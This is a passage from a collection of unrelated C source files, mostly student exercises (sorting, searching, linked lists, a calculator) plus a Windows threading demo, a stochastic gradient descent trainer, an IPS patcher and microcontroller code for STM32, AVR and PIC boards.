bubble_sort(a,size); break; case 2: selection_sort(a,size); break; default: printf("\nInvalid Input"); break; } return 0; } //----------------------------------------------------------------------------//
C
/* CreateHilosWindows.c */ /* $Id: CreateHilosWindows.c,v 1.1.1.1 2003/06/19 19:00:15 fcardona Exp $ */ #include <Windows.h> #include <stdio.h> #include <stdlib.h> DWORD WINAPI funcion_hilo(LPVOID lpParameter) { int valor = (int) lpParameter; DWORD dwResultado = 0; printf(""); fprintf(stdout, "Hola mundo desde el hilo: %d\r\n", valor); Sleep(valor * 1000); // Esta expresion esta en milisegundos dwResultado = (DWORD)100 * valor; return dwResultado; } int main(int argc, char *argv[]) { int nHilos; DWORD dwResultado; int i; DWORD *tablaHilos; if (argc != 2) { fprintf(stderr, "Uso: %s nHilos\r\n", argv[0]); ExitProcess(10U); } nHilos = atoi(argv[1]); if (nHilos == 0) { fprintf(stderr, "Uso: %s nHilos\r\n", argv[0]); ExitProcess(10U); } tablaHilos = (LPDWORD) malloc(sizeof(LPDWORD) * nHilos); for (i = 0; i < nHilos; i++) { CreateThread(NULL, 0, funcion_hilo, (LPVOID) i, 0, (tablaHilos + i)); } for (i = 0; i < nHilos; i++) { HANDLE hThread; hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, *(tablaHilos + i)); WaitForSingleObject(hThread, 0); GetExitCodeThread(hThread, &dwResultado); fprintf(stdout, "El hilo: %ld termin: %ld\r\n", *(tablaHilos + i), dwResultado); } return 0; }
C
#include <stdio.h> #include <string.h> #define TOT 200 int rechercher(char* phrase, char* mot){ int i; int k; int existe; char mot_extrait[TOT]; /// on extrait le mot for (i=0;i<=strlen(phrase);i++){ // printf("\t%d,%c",i,*(phrase+i)); k= 0; existe=0; while(*(phrase+i)!=32 && *(phrase+i)!='\0'){ // printf("\n ** %c *****************",*(phrase+i)); mot_extrait[k] = *(phrase+i); i++; k++; existe=1; } if (existe == 1 ){ mot_extrait[k] = '\0'; if (strcmp(mot_extrait,mot)==0){ printf("1"); return 0; } sprintf(mot_extrait,"%c",'\0'); } } return 1; } int main(){ char phrase[TOT] = " Bonjour je suis timothee comment vas tu ? "; char mot[TOT] = "timothee"; printf("\n\n"); // printf(" ******** %d ********\n",strcmp(mot, phrase)); rechercher(phrase, mot); return 0; }
C
// ref: http://www.c-tipsref.com/tips/string/strrchr.html#sample #include <stdio.h> #include <stdlib.h> #include <string.h> int main(void) { char s[] = "I don't want to march as much as possible."; char *ret; int c; puts("文字を入力してください。"); c = getchar(); if ((ret = strrchr(s, c)) != NULL) { printf("'%c'が一番最後に見つかった位置は、%d番目です.\n", c, ret - s); } else { printf("'%c'はありませんでした.\n", c); } return EXIT_SUCCESS; }
C
/* * Aim: A C Program to generate sparse matrix. * Author: Rohith * Date: 31-08-2017 */ #include <stdio.h> void main() { int mat[10][10]; int m, n, i, j, count = 0; printf("Enter the order of the matrix (m n): "); scanf("%d%d", &m, &n); printf("Enter the matrix:\n"); for (i = 0; i < m; ++i) { for (j = 0; j < n; ++j) { scanf("%d", &mat[i][j]); if(mat[i][j] != 0) count++; } } printf("Sparse Matrix:\n"); printf("%d %d %d\n", m, n, count); for (i = 0; i < m; ++i) { for (j = 0; j < n; ++j) { if(mat[i][j] != 0) printf("%d %d %d\n", i, j, mat[i][j]); } } } /* Sample Run: ----------- Enter the order of the matrix (m n):4 4 Enter the matrix: 1 0 0 0 0 1 2 0 8 0 0 0 0 0 0 1 Sparse Matrix: 4 4 5 0 0 1 1 1 1 1 2 2 2 0 8 3 3 1 */
C
#include <stdio.h> #include <signal.h> #include <unistd.h> #include <stdlib.h> #include <errno.h> void catch_sigalrm(int signo) { } unsigned int mysleep(unsigned int seconds) { struct sigaction act,oldact; sigset_t newmask,oldmask,suspmask; act.sa_handler = catch_sigalrm; sigemptyset(&act.sa_mask); act.sa_flags = 0; //注册捕捉SIGALRM信号的处理函数 sigaction(SIGALRM,&act,&oldact); //屏蔽SIGALRM信号 sigemptyset(&newmask); sigaddset(&newmask,SIGALRM); sigprocmask(SIG_BLOCK,&newmask,&oldmask); //sigsuspend执行期间屏蔽的信号 sigemptyset(&suspmask); suspmask = oldmask; sigdelset(&suspmask,SIGALRM);//再次删除sigalrm信号的屏蔽,防止 //定时 alarm(seconds); //挂起 int msg = sigsuspend(&suspmask); if(msg == -1 && errno == EINTR) { printf("sigsuspend has been interrupted\n"); } //取消定时器 int ret = alarm(0); //恢复旧的处理SIGALRM信号的方式 sigaction(SIGALRM,&oldact,NULL); //恢复旧的屏蔽字 sigprocmask(SIG_SETMASK,&oldmask,NULL); return ret; } int main(void) { while(1) { mysleep(2); } return 0; }
C
#include<stdio.h> #include<string.h> int main() { char SZstring[20],ch; printf("\n\nEnter the String;\t"); gets(SZstring); printf("\n\n Enter the character to set:\t"); scanf("%c",&ch); strset(SZstring,ch); printf("\n\nNow String Is:\t"); puts(SZstring); return 0; }
C
#include "stochastic_gradient_descent.h" #include "sparse_matrix_utils.h" sgd_trainer_t *sgd_trainer_new(size_t m, size_t n, bool fit_intercept, regularization_type_t reg_type, double lambda, double gamma_0) { sgd_trainer_t *sgd = calloc(1, sizeof(sgd_trainer_t)); if (sgd == NULL) return NULL; double_matrix_t *theta = double_matrix_new_zeros(m, n); if (theta == NULL) { log_error("Error allocating weights\n"); goto exit_sgd_trainer_created; } sgd->fit_intercept = fit_intercept; sgd->theta = theta; sgd->reg_type = reg_type; sgd->lambda = lambda; if (reg_type != REGULARIZATION_NONE) { sgd->last_updated = uint32_array_new_zeros(m); if (sgd->last_updated == NULL) { goto exit_sgd_trainer_created; } sgd->penalties = double_array_new(); if (sgd->penalties == NULL) { goto exit_sgd_trainer_created; } // Penalty for last_updated == 0 is 0 double_array_push(sgd->penalties, 0.0); } else { sgd->last_updated = NULL; sgd->penalties = NULL; } sgd->gamma_0 = gamma_0; sgd->iterations = 0; return sgd; exit_sgd_trainer_created: sgd_trainer_destroy(sgd); return NULL; } bool sgd_trainer_reset_params(sgd_trainer_t *self, double lambda, double gamma_0) { regularization_type_t reg_type = self->reg_type; if (reg_type != REGULARIZATION_NONE) { if (self->last_updated == NULL) { self->last_updated = uint32_array_new_zeros(self->theta->m); if (self->last_updated == NULL) return false; } else { uint32_array_zero(self->last_updated->a, self->last_updated->n); } if (self->penalties == NULL) { self->penalties = double_array_new(); if (self->penalties == NULL) return false; } else { double_array_clear(self->penalties); } double_array_push(self->penalties, 0.0); } double_matrix_zero(self->theta); self->iterations = 0; self->lambda = lambda; self->gamma_0 = gamma_0; return true; } static inline double stochastic_gradient_descent_gamma_t(double gamma_0, double lambda, uint32_t t) { return gamma_0 / (1.0 + lambda * gamma_0 * (double)t); } static inline void gradient_update_row(double *theta_i, double *grad_i, size_t n, double gamma_t) { for (size_t j = 0; j < n; j++) { theta_i[j] -= gamma_t * grad_i[j]; } } bool stochastic_gradient_descent_update(sgd_trainer_t *self, double_matrix_t *gradient, size_t batch_size) { if (self == NULL || self->theta == NULL || gradient == NULL || gradient->m != self->theta->m || gradient->n != self->theta->n) { return false; } size_t m = gradient->m; size_t n = gradient->n; double lambda = self->lambda; double gamma_t = stochastic_gradient_descent_gamma_t(self->gamma_0, lambda, self->iterations); double_matrix_t *theta = self->theta; size_t i_start = self->fit_intercept ? 1 : 0; regularization_type_t reg_type = self->reg_type; double lambda_update = 0.0; if (reg_type != REGULARIZATION_NONE) { lambda_update = lambda / (double)batch_size * gamma_t; } for (size_t i = 0; i < m; i++) { double *theta_i = double_matrix_get_row(theta, i); double *grad_i = double_matrix_get_row(gradient, i); gradient_update_row(theta_i, grad_i, n, gamma_t); if (reg_type == REGULARIZATION_L2 && i >= i_start) { regularize_l2(theta_i, n, lambda_update); } else if (reg_type == REGULARIZATION_L1 && i >= i_start) { regularize_l1(theta_i, n, lambda_update); } } self->iterations++; return true; } /* Sparse regularization --------------------- Stochastic/minibatch gradients can be decomposed into 2 updates 1. The derivative of the loss function itself (0 for features not observed in the current batch) 2. The derivative of the regularization term (applies to all weights) Reference: http://leon.bottou.org/publications/pdf/tricks-2012.pdf Here we take sparsity a step further and do "lazy" or "just-in-time" regularization. Updating all the weights on each iteration requires m * n operations for each minibatch regardless of the number of parameters active in the minibatch. However, the "correct" value of a given parameter theta_ij is only really needed in two places: 1. Before computing the gradient, since the current value of theta is used in said computation 2. When we're done training the model and want to save/persist it In L2 regularization, the derivative of the regularization term is simply: lambda * theta Since theta changes proportional to itself, we can rewrite this for multiple timesteps as: theta_i *= e^(-lambda * t) where t is the number of timesteps since theta_i was last updated. This requires storing a vector of size n containing the last updated timestamps, as well the set of columns used by the minibatch (this implementation assumes it is computed elsewehre and passed in). In NLP applications, where the updates are very sparse, only a small fraction of the features are likely to be active in a given batch. This means that if, say, an infrequently used word like "fecund" or "bucolic" is seen in only one or two batches in the entire training corpus, we only touch that parameter twice (three times counting the finalization step), while still getting roughly the same results as though we had done the per-iteration weight updates. */ bool stochastic_gradient_descent_update_sparse(sgd_trainer_t *self, double_matrix_t *gradient, uint32_array *update_indices, size_t batch_size) { if (self == NULL) { log_info("self = NULL\n"); return false; } double_matrix_t *theta = self->theta; if (gradient->n != theta->n) { log_info("gradient->n = %zu, theta->n = %zu\n", gradient->n, theta->n); return false; } size_t n = self->theta->n; uint32_t t = self->iterations; uint32_t *indices = update_indices->a; size_t num_updated = update_indices->n; uint32_t *updates = self->last_updated->a; size_t i_start = self->fit_intercept ? 1 : 0; double lambda = self->lambda; double gamma_0 = self->gamma_0; double gamma_t = stochastic_gradient_descent_gamma_t(gamma_0, lambda, t); regularization_type_t reg_type = self->reg_type; double lambda_update = 0.0; double penalty = 0.0; double *penalties = self->penalties->a; if (reg_type != REGULARIZATION_NONE) { lambda_update = lambda / (double)batch_size * gamma_t; if (t > self->penalties->n) { log_info("t = %" PRIu32 ", penalties->n = %zu\n", t, self->penalties->n); return false; } penalty = self->penalties->a[t]; } for (size_t i = 0; i < num_updated; i++) { uint32_t col = indices[i]; double *theta_i = double_matrix_get_row(theta, col); double *grad_i = double_matrix_get_row(gradient, i); uint32_t last_updated = updates[col]; double last_update_penalty = 0.0; if (self->iterations > 0) { if (last_updated >= self->penalties->n) { log_info("col = %u, t = %" PRIu32 ", last_updated = %" PRIu32 ", penalties->n = %zu\n", col, t, last_updated, self->penalties->n); return false; } last_update_penalty = penalties[last_updated]; // Update the weights to what they would have been // if all the regularization updates were applied if (last_updated < t) { double penalty_update = penalty - last_update_penalty; if (reg_type == REGULARIZATION_L2 && col >= i_start) { regularize_l2(theta_i, n, penalty_update); } else if (reg_type == REGULARIZATION_L1 && col >= i_start) { regularize_l1(theta_i, n, penalty_update); } } } // Update the gradient for the observed features in this batch gradient_update_row(theta_i, grad_i, n, gamma_t); // Add the regularization update for this iteration // so the weights are correct for the next gradient computation if (reg_type == REGULARIZATION_L2 && col >= i_start) { regularize_l2(theta_i, n, lambda_update); } else if (reg_type == REGULARIZATION_L1 && col >= i_start) { regularize_l1(theta_i, n, lambda_update); } // Set the last updated timestep for this feature to time t + 1 // since we're upating the iteration count updates[col] = t + 1; } if (reg_type != REGULARIZATION_NONE) { // Add the cumulative penalty at time t to the penalties array double_array_push(self->penalties, penalty + lambda_update); } self->iterations++; return true; } double stochastic_gradient_descent_reg_cost(sgd_trainer_t *self, uint32_array *update_indices, size_t batch_size) { double cost = 0.0; regularization_type_t reg_type = self->reg_type; if (reg_type == REGULARIZATION_NONE) return cost; double_matrix_t *theta = self->theta; size_t m = theta->m; size_t n = theta->n; uint32_t *indices = NULL; size_t num_indices = m; if (update_indices != NULL) { uint32_t *indices = update_indices->a; size_t num_indices = update_indices->n; } size_t i_start = self->fit_intercept ? 1 : 0; for (size_t i = 0; i < num_indices; i++) { uint32_t row = i; if (indices != NULL) { row = indices[i]; } double *theta_i = double_matrix_get_row(theta, row); if (reg_type == REGULARIZATION_L2 && row >= i_start) { cost += double_array_sum_sq(theta_i, n); } else if (reg_type == REGULARIZATION_L1 && row >= i_start) { cost += double_array_l1_norm(theta_i, n); } } if (reg_type == REGULARIZATION_L2) { cost *= self->lambda / 2.0; } else if (reg_type == REGULARIZATION_L1) { cost *= self->lambda; } return cost / (double)batch_size; } bool stochastic_gradient_descent_set_regularized_weights(sgd_trainer_t *self, double_matrix_t *w, uint32_array *indices) { if (self == NULL || self->theta == NULL) { if (self->theta == NULL) { log_info("stochastic_gradient_descent_regularize_weights theta NULL\n"); } return false; } double lambda = self->lambda; double gamma_0 = self->gamma_0; regularization_type_t reg_type = self->reg_type; double_matrix_t *theta = self->theta; size_t m = theta->m; size_t n = theta->n; uint32_t *row_indices = NULL; size_t num_indices = m; if (indices != NULL) { row_indices = indices->a; num_indices = indices->n; } uint32_t *updates = self->last_updated->a; double *penalties = self->penalties->a; if (w != NULL && !double_matrix_resize(w, num_indices, n)) { log_error("Resizing weights failed\n"); return false; } size_t i_start = self->fit_intercept ? 1 : 0; bool regularize = lambda > 0.0 && reg_type != REGULARIZATION_NONE; for (size_t i = 0; i < num_indices; i++) { uint32_t row_idx = i; if (indices != NULL) { row_idx = row_indices[i]; } double *theta_i = double_matrix_get_row(theta, row_idx); double *w_i = theta_i; if (w != NULL) { w_i = double_matrix_get_row(w, i); double_array_raw_copy(w_i, theta_i, n); } if (regularize && i >= i_start) { double most_recent_penalty = 0.0; uint32_t most_recent_iter = 0; if (self->iterations > 0) { most_recent_iter = self->iterations; if (most_recent_iter >= self->penalties->n) { log_error("penalty_index (%u) >= self->penalties->n (%zu)\n", most_recent_iter, self->penalties->n); return false; } most_recent_penalty = penalties[most_recent_iter]; } else { most_recent_penalty = lambda / gamma_0; } uint32_t last_updated = updates[i]; if (last_updated >= self->penalties->n) { log_error("last_updated (%" PRIu32 ") >= self->penalties-> (%zu)\n", last_updated, self->penalties->n); return false; } double last_update_penalty = penalties[last_updated]; if (last_updated < most_recent_iter) { double penalty_update = most_recent_penalty - last_update_penalty; if (reg_type == REGULARIZATION_L2) { regularize_l2(w_i, n, penalty_update); } else if (reg_type == REGULARIZATION_L1) { regularize_l1(w_i, n, penalty_update); } } } } return true; } bool stochastic_gradient_descent_regularize_weights(sgd_trainer_t *self) { return stochastic_gradient_descent_set_regularized_weights(self, NULL, NULL); } double_matrix_t *stochastic_gradient_descent_get_weights(sgd_trainer_t *self) { if (!stochastic_gradient_descent_regularize_weights(self)) { log_info("stochastic_gradient_descent_regularize_weights returned false\n"); return NULL; } return self->theta; } sparse_matrix_t *stochastic_gradient_descent_get_weights_sparse(sgd_trainer_t *self) { if (!stochastic_gradient_descent_regularize_weights(self)) { return NULL; } return sparse_matrix_new_from_matrix(self->theta); } void sgd_trainer_destroy(sgd_trainer_t *self) { if (self == NULL) return; if (self->theta != NULL) { double_matrix_destroy(self->theta); } if (self->last_updated != NULL) { uint32_array_destroy(self->last_updated); } if (self->penalties != NULL) { double_array_destroy(self->penalties); } free(self); }
C
#include <stdio.h> int binary_search(int array[], int value, int size) { int found = 0; int high = size, low = 0, mid; mid = (high + low) / 2; printf("\n\nLooking for %d\n", value); while ((! found) && (high >= low)) { printf("Low %d Mid %d High %d\n", low, mid, high); if (value == array[mid]) found = 1; else if (value < array[mid]) high = mid - 1; else low = mid + 1; mid = (high + low) / 2; } return((found) ? mid: -1); } void main(void) { int array[100], i; for (i = 0; i < 100; i++) array[i] = i; printf("Result of search %d\n", binary_search(array, 33, 100)); printf("Result of search %d\n", binary_search(array, 75, 100)); printf("Result of search %d\n", binary_search(array, 1, 100)); printf("Result of search %d\n", binary_search(array, 1001, 100)); }
C
#include <stdlib.h> #include <stdio.h> #include "binary_trees.h" /** * basic_tree - Build a basic binary tree * * Return: A pointer to the created tree */ binary_tree_t *basic_tree(void) { binary_tree_t *root; root = binary_tree_node(NULL, 98); root->left = binary_tree_node(root, 12); root->right = binary_tree_node(root, 128); root->left->right = binary_tree_node(root->left, 54); root->right->right = binary_tree_node(root, 402); root->left->left = binary_tree_node(root->left, 10); return (root); } /** * main - Entry point * * Return: Always 0 (Success) */ int main(void) { binary_tree_t *root; int avl; root = basic_tree(); binary_tree_print(root); avl = binary_tree_is_avl(root); printf("Is %d avl: %d\n", root->n, avl); avl = binary_tree_is_avl(root->left); printf("Is %d avl: %d\n", root->left->n, avl); root->right->left = binary_tree_node(root->right, 97); binary_tree_print(root); avl = binary_tree_is_avl(root); printf("Is %d avl: %d\n", root->n, avl); root = basic_tree(); root->right->right->right = binary_tree_node(root->right->right, 430); binary_tree_print(root); avl = binary_tree_is_avl(root); printf("Is %d avl: %d\n", root->n, avl); root->right->right->right->left = binary_tree_node(root->right->right->right, 420); binary_tree_print(root); avl = binary_tree_is_avl(root); printf("Is %d avl: %d\n", root->n, avl); return (0); } alex@/tmp/binary_trees$ gcc -Wall -Wextra -Werror -pedantic binary_tree_print.c 120-main.c 120-binary_tree_is_avl.c 0-binary_tree_node.c -o 120-is_avl alex@/tmp/binary_trees$ ./120-is_avl .-------(098)--. .--(012)--. (128)--. (010) (054) (402) Is 98 avl: 1 Is 12 avl: 1 .-------(098)-------. .--(012)--. .--(128)--. (010) (054) (097) (402) Is 98 avl: 0 .-------(098)--. .--(012)--. (128)--. (010) (054) (402)--. (430) Is 98 avl: 0 .-------(098)--. .--(012)--. (128)--. (010) (054) (402)-------. .--(430) (420) Is 98 avl: 0 alex@/tmp/binary_trees$
C
#include <stdio.h> #include <string.h> #include <stdbool.h> #include <stdlib.h> #include "libips.h" #include "common.h" int main(int argc, char **argv) { if(argc != 3 && argc != 4) { printf("USAGE: <DATA FILE> <PATCH FILE>\n"); return -1; } char *out_filename = "patched"; if(argc == 4) out_filename = argv[3]; printf("Reading %s as the source data file\n", argv[1]); FILE *src_file = fopen(argv[1], "rb"); size_t srcdatalen; uint8_t *src_data = read_all_file(src_file, &srcdatalen); printf("Reading %s as the patch data file\n", argv[2]); FILE *patch_file = fopen(argv[2], "rb"); size_t patchdatalen; uint8_t *patch_data = read_all_file(patch_file, &patchdatalen); int result = process_patch(patch_data, src_data, srcdatalen, patchdatalen, true, true); printf("Writing %s as the output\n", out_filename); FILE *out_file = fopen(out_filename, "wb"); fwrite(src_data, srcdatalen, 1, out_file); return result; }
C
#include <stdio.h> #include <stdlib.h> #include <omp.h> void producer_consumer(int *buffer, int size, int *vec, int n); void seq_producer_consumer(int *buffer, int size, int *vec, int n); int num_t; int main(int argc, char* argv[]){ int n, b_len, i; int* vec, *buff; scanf("%d %d %d",&num_t,&n,&b_len); vec = (int*)malloc(sizeof(int)*n); buff = (int*)malloc(sizeof(int)*b_len); for(i = 0; i < n; i++){ scanf("%d",&vec[i]); } double t0 = omp_get_wtime(); producer_consumer(buff,b_len,vec,n); printf("%lf\n",omp_get_wtime()-t0); } void producer_consumer(int *buffer, int size, int *vec, int n) { int i, j; long long unsigned int sum = 0; # pragma omp parallel num_threads(num_t) \ default(none) shared(n,size,buffer,vec,sum) private(i,j) for(i=0;i<n;i++) { if(i % 2 == 0) { // PRODUTOR # pragma omp for for(j=0;j<size;j++) { buffer[j] = vec[i] + j*vec[i+1]; } } else { // CONSUMIDOR # pragma omp for reduction(+: sum) for(j=0;j<size;j++) { sum += buffer[j]; } } } printf("%llu\n",sum); } void seq_producer_consumer(int *buffer, int size, int *vec, int n) { int i, j; long long unsigned int sum = 0; for(i=0;i<n;i++) { if(i % 2 == 0) { // PRODUTOR for(j=0;j<size;j++) { buffer[j] = vec[i] + j*vec[i+1]; } } else { // CONSUMIDOR for(j=0;j<size;j++) { sum += buffer[j]; } } } printf("%llu\n",sum); }
C
#include<stdio.h> //print linked list recursively in order and reverse order #include<malloc.h> #include<stdlib.h> struct Node { int data; struct Node* next; }; struct Node* insert(struct Node* head,int data) { struct Node* temp=(struct Node*)malloc(sizeof(struct Node)); temp->data=data; temp->next=NULL; if(head==NULL) { head=temp; return head; } struct Node*temp1=head; while(temp1->next!=NULL) { temp1=temp1->next; } temp1->next=temp; return head; } void print(struct Node* p) { if(p==NULL) { return; } printf("%d ",p->data); print(p->next); } void reverse(struct Node* q) { if(q==NULL) { return; } reverse(q->next); printf("%d ",q->data); } int main() { //int x,i,n; struct Node* head=NULL; /* printf("Enter the size of linked list"); scanf("%d",&n); printf("Enter the values for linked list"); /* for(i=0;i<n;i++) { scanf("%d",&x); head=insert(head,x); }*/ head=insert(head,1); head=insert(head,2); head=insert(head,3); head=insert(head,4); print(head); printf("\n"); reverse(head); return 0; }
C
/** * lpwan_utils.c * * \date * \author [email protected] * \author */ #include "lpwan_utils.h" #include "lpwan_config.h" /** * \return Positive value if seq1>seq2, else return negative value. * the returned value's absolute value is the delta. */ os_int16 calc_bcn_seq_delta(os_int8 _seq1, os_int8 _seq2) { os_int16 seq1 = (os_int16) _seq1; os_int16 seq2 = (os_int16) _seq2; if (seq1 >= 0 && seq2 >= 0) { if (seq1 == seq2) { return 0; } else if (seq1 > seq2 && (seq1 - seq2) <= (BEACON_MAX_SEQ_NUM / 2)) { return seq1 - seq2; } else if ((seq1 - seq2) > (BEACON_MAX_SEQ_NUM / 2)) { return -((BEACON_MAX_SEQ_NUM - seq1) + 1 + seq2); } else { // seq1 < seq2 return (0 - calc_bcn_seq_delta(_seq2, _seq1)); } } else { // both less than 0 or have different sign. return seq1 - seq2; } } short_modem_uuid_t short_modem_uuid(const modem_uuid_t *uuid) { // for stm32L0x1 Cortex-M0+ series os_uint8 x0 = uuid->addr[11]; os_uint8 x1 = uuid->addr[10]; os_uint8 y0 = uuid->addr[9]; os_uint8 y1 = uuid->addr[8]; os_uint8 wafer_number = uuid->addr[7]; os_uint16 higher = (os_uint16) (((x0 + x1) ^ (wafer_number + 91)) << 8); os_uint16 lower = (os_uint16) ((y0 + y1) ^ (wafer_number + 91)); return (short_modem_uuid_t) (higher + lower); } void mcu_read_unique_id(modem_uuid_t *uuid) { /** * For stm32L0x1 Cortex-M0+ series. * \note There is a hole in the unique ID. Refer to the reference manual. * \ref http://tinyurl.com/ptt4dfu */ os_uint8 *_mcu_unique_id_first_8B = (os_uint8 *) 0x1FF80050; os_uint8 *_mcu_unique_id_last_4B = (os_uint8 *) 0x1FF80050 + 0x14; uuid->addr[0] = _mcu_unique_id_first_8B[0]; uuid->addr[1] = _mcu_unique_id_first_8B[1]; uuid->addr[2] = _mcu_unique_id_first_8B[2]; uuid->addr[3] = _mcu_unique_id_first_8B[3]; uuid->addr[4] = _mcu_unique_id_first_8B[4]; uuid->addr[5] = _mcu_unique_id_first_8B[5]; uuid->addr[6] = _mcu_unique_id_first_8B[6]; uuid->addr[7] = _mcu_unique_id_first_8B[7]; uuid->addr[8] = _mcu_unique_id_last_4B[0]; uuid->addr[9] = _mcu_unique_id_last_4B[1]; uuid->addr[10] = _mcu_unique_id_last_4B[2]; uuid->addr[11] = _mcu_unique_id_last_4B[3]; } os_uint32 mcu_generate_seed_from_uuid(const modem_uuid_t *uuid) { return construct_u32_4(91 + uuid->addr[11], 91 + uuid->addr[10], 91 + uuid->addr[9], 91 + uuid->addr[8]); } os_boolean lpwan_uuid_is_equal(const modem_uuid_t *self, const modem_uuid_t *uuid) { for (size_t i=0; i<12; i++) { if (self->addr[i] != uuid->addr[i]) return OS_FALSE; } return OS_TRUE; } os_boolean lpwan_uuid_is_broadcast(const modem_uuid_t *uuid) { for (size_t i=0; i<12; i++) { if (uuid->addr[i] != 0xFF) return OS_FALSE; } return OS_TRUE; }
C
//USART Program //The ATMEGA32 will recieve a serial transmission and send it //Frequency - 8MHZ Operating at 9600BPS #include <avr/io.h> void USART_Init(unsigned int baud); //Initlizae Baud void USART_Transmit(unsigned char data); //Transmission unsigned char USART_Receive(void); //Receive int main(){ unsigned char data2; //Hold the data we send/receive USART_Init(51); //Initilize to 9600bps for(;;){ data2 = USART_Receive(); USART_Transmit(data2); } return 0; } void USART_Init( unsigned int baud ) { /* Set baud rate */ UBRRH = (baud >> 8); UBRRL = baud; /* Enable receiver and transmitter */ UCSRB = (1<<RXEN)|(1<<TXEN); /* Set frame format: 8data, 1stop bit */ UCSRC = (1<<URSEL) | (3<<UCSZ0) ; } void USART_Transmit( unsigned char data ) { /* Wait for empty transmit buffer */ while ( !( UCSRA & (1<<UDRE)) ); /* Put data into buffer, sends the data */ UDR = data; } unsigned char USART_Receive( void ) { /* Wait for data to be received */ while ( !(UCSRA & (1<<RXC)) ); /* Get and return received data from buffer */ return UDR; }
C
// exam_q5.c // // This program was written by z5165158 // on 18/08/2021 #include <stdio.h> #include <stdlib.h> #include <string.h> #define MAX_LINE_SIZE 1024 int check_if_suffix(char *suffix,char *ptr){ //printf("suffx:%s ptr:%s",suffix,ptr); /*while(suffix[0] != '\n' || suffix[0] != '\0'){ if(suffix[0] != ptr[0]){ return 0; } //printf("suffx:%s ptr:%s",suffix,ptr); suffix++; ptr++; }*/ int res = strncmp(suffix,ptr,strlen(suffix)); //printf("%d\n",res); return res; } int main(int argc, char *argv[]) { char * ptr ; //int idx; //int continue = 1; char *line = calloc(MAX_LINE_SIZE,sizeof(char)); while(fgets(line, MAX_LINE_SIZE , stdin)){ for(int i = 1; i < argc; i++){ if(argv[i] != NULL && strlen(argv[i]) < strlen(line)){ //idx = strlen(line)-strlen(argv[i]); //printf("idx:%d\n",idx); ptr = &line[strlen(line)-strlen(argv[i])-1]; if( check_if_suffix(argv[i],ptr) == 0){ printf("%s",line); } } } } free(line); return 0; }
C
#include <stdio.h> #include <math.h> int main() { float a, b, c, media; char d; printf("Insira 3 notas: "); scanf("%f %f %f", &a, &b, &c); printf(" (a) Média aritmética: (n1 + n2 + n3)/3"); printf("\n (b) Média geométrica: (n1 ∗ n2 ∗ 3)^1/3"); printf("\n (c) Média ponderada: ((1 ∗ n1) + (2 ∗ n2) + (3 ∗ n3))/6 \n"); scanf(" %c", &d); if (d == 'a') { media = (a + b + c) / 3; } else if (d == 'b') { media = pow((a * b * c), 1 / 3); } else { media = ((1 * a) + (2 * b) + (3 * c)) / 6; } printf("\nMedia: %0.2f", media); return 0; }
C
/* main.c - main function for reverse polish calculator get commnad; identify command and calculate; log: 2015-6-18 2016-9-1 test EOF pushed back of getch 9-2 test buffered getchar */ #include <stdio.h> #include <string.h> #include <stdlib.h> /* for atof() */ #include "calc.h" #define MAXOP 100 #define MAXVAR 26 main() { int type, var, i; double op2, v, varbuf[MAXVAR]; char cmd[MAXOP]; for (i = 0; i < MAXVAR; ++i) varbuf[i] = 0.0; printf("> "); while ((type = getop(cmd)) != EOF) { switch(type) { case '+': push(pop() + pop()); break; case '-': op2 = pop(); push(pop() - op2); break; case '*': push(pop() * pop()); break; case '/': op2 = pop(); if (op2 == 0.0) printf("\aerror: divisor is zero!\n"); else push(pop() / op2); break; case '%': op2 = pop(); if (op2 <= 0) printf("error: invalid modulus %g!\n", op2); else push((int) pop() % (int) op2); break; case NUMBER: push(atof(cmd)); break; case '=': pop(); if (isupper(var)) varbuf[var - 'A'] = pop(); else printf("error: invalid var %c\n", var); break; case VAR: push(varbuf[*cmd - 'A']); break; case 'v': push(v); break; case NAME: mathfnc(cmd); break; case 't': break; case 's': swap(); break; case 'd': push(top()); break; case 'c': clear(); break; case '\n': if (var == 't') printf("\t%.8g\n", v = top()); else if (var != '=') printf("\t%.8g\n", v = pop()); printf("> "); break; default: printf("\aerror: unkown operator %s\n", cmd); break; } var = *cmd; } return 0; }
C
#include "image.h" #include <iostream> #include "source.h" Image::Image(void) { height = 0; width = 0; maxVal = 0; pixelData = new aPixel[width*height]; } Image::Image(int h, int w, int mV, aPixel *pD) { height = h; width = w; maxVal = mV; pixelData = pD; } Image::~Image() { } void Image::display() { std::cout << height << " " << width << " " << maxVal; } void Image::Update() { aSource->Update(); } void Image::setSource(Source *s) { if (s != NULL) { aSource = s; } }
C
/* ** EPITECH PROJECT, 2017 ** tests_my_strlen.c ** File description: ** Unit tests for my_strlen */ #include <criterion/criterion.h> #include "my.h" Test(my_strlen, basic) { cr_assert_eq(my_strlen("Saucisse"), 8); cr_assert_eq(my_strlen("a"), 1); cr_assert_eq(my_strlen(""), 0); cr_assert_eq(my_strlen("Hey comment ca va"), 17); cr_assert_eq(my_strlen("3761"), 4); }
C
// CONFIG #pragma config FOSC = XT // Oscillator Selection bits (XT oscillator) #pragma config WDTE = OFF // Watchdog Timer Enable bit (WDT disabled) #pragma config PWRTE = OFF // Power-up Timer Enable bit (PWRT disabled) #pragma config BOREN = OFF // Brown-out Reset Enable bit (BOR disabled) #pragma config LVP = OFF // Low-Voltage (Single-Supply) In-Circuit Serial Programming Enable bit (RB3 is digital I/O, HV on MCLR must be used for programming) #pragma config CPD = OFF // Data EEPROM Memory Code Protection bit (Data EEPROM code protection off) #pragma config WRT = OFF // Flash Program Memory Write Enable bits (Write protection off; all program memory may be written to by EECON control) #pragma config CP = OFF // Flash Program Memory Code Protection bit (Code protection off) #include <xc.h> #define AN0 0 //Reemplaza AN0 por el valor cero #define AN1 1 //Reemplaza AN1 por el valor uno #define AN2 2 //Reemplaza AN2 por el valor dos //PINES DEL LCD #define RS RD2 //Define el pin RS del LCD en el Pin D2 #define EN RD3 // Define el pin Enable del LCD en el Pin D3 //Se utiliza ua comunicacion a 4 bits #define D4 RD4 // Define el pin D4 del LCD en el Pin D4(puerto D)) #define D5 RD5 // Define el pin D5 del LCD en el Pin D5(puerto D)) #define D6 RD6 #define D7 RD7 #define _XTAL_FREQ 4000000 //Define la frecuencia de oscilacion interna a 4MHz #include "lcd.h" //Librera de LCD> #include <stdio.h> //librera ara oder usar funcin sprintf de C //Definicin de Variables int sensor1=0; int sensor2=0; int sensor3=0; float temp=0; float aux; //Funcin para inicializar EL ADC void init(void){ ADCON0 = 0b10000001; ADCON1 = 0b10000000; } //Funcin para Leer una entrana anloga del Microcrontrolador int conversion(unsigned char canal){ int resultado=0; if(canal>3){ //si el canal seleccionado no es 